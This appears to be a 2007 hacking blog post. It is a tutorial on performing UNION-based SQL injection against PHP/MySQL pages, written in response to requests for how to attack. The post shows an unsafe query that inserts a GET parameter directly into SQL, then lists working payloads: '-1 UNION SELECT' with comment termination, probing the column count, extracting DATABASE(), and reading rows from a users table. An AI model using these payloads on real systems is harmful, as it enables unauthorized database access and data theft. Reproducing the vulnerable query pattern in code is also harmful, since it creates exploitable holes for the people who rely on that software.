Monday, 1 January 2007

Papers-> SQL Injections

~Sql Injections in PHP~
Hey guys,
many ppl asked me how to perform a sql injection attack,so i suggested to write a tutorial
about it.
i just use the mysql standarts injection(if you know mysql you can change)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Basic Sql Injection(mysql_fetch_array);
some codes have this inside:
$query=mysql_query("SELECT * FROM users WHERE userID=".$_GET['id']."");

while ($row=mysql_fetch_array($query)) {
echo $row['author'];
}

if you would open the script by:
script.php?id=sql
you would get an error message like
mysql_fetch_array(): supplied argument is not a valid MySQL result resource in...
the problem is,we get no detailed error message(mysql_errno) so we have to try!
script.php?id=-1 UNION SELECT 1/*
ok,but why the -1 ?
u also could do:
-9999
or
-12
or 999999999999999
as long as the number is not existing.
but why?
just to give out nothing else.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
But damn,why the /*
its just there to 'close' the query.
for example:
..=SELECT * FROM users WHERE userID=".$_GET['id']." ORDER BY desc
u cant grep out things of the db in an order by clausel so you have to close the query b4fore order by
and this u simply do with /*
=]
So far so good,
but hm....
script.php?id=-1 UNION SELECT 1/* doesnt work for me =[
ok,just add characters(numeric) as long as something gets printed out =]
-1 UNION SELECT 1/*
-1 UNION SELECT 1,2/*
it doesnt matter which number u take ...
ANd anywhen you get a result.
So for example
There stands something like
UserId:1
UserName:2
and you have a injection like
-1 UNION SELECT 1,2 FROM users/*
you can change 1 to for example DATABASE()
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
More Advanced Injections mostly work with an 'where' implement.
for example
-1 UNION SELECT 1 FROM table WHERE id=1/*
this just greps out data of the id 1
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
IF you still have got any questions
just pm me Master9976@hotmail.de

I hope you liked the tutorial.
tech-bl0od3r.blogspot.com

No comments: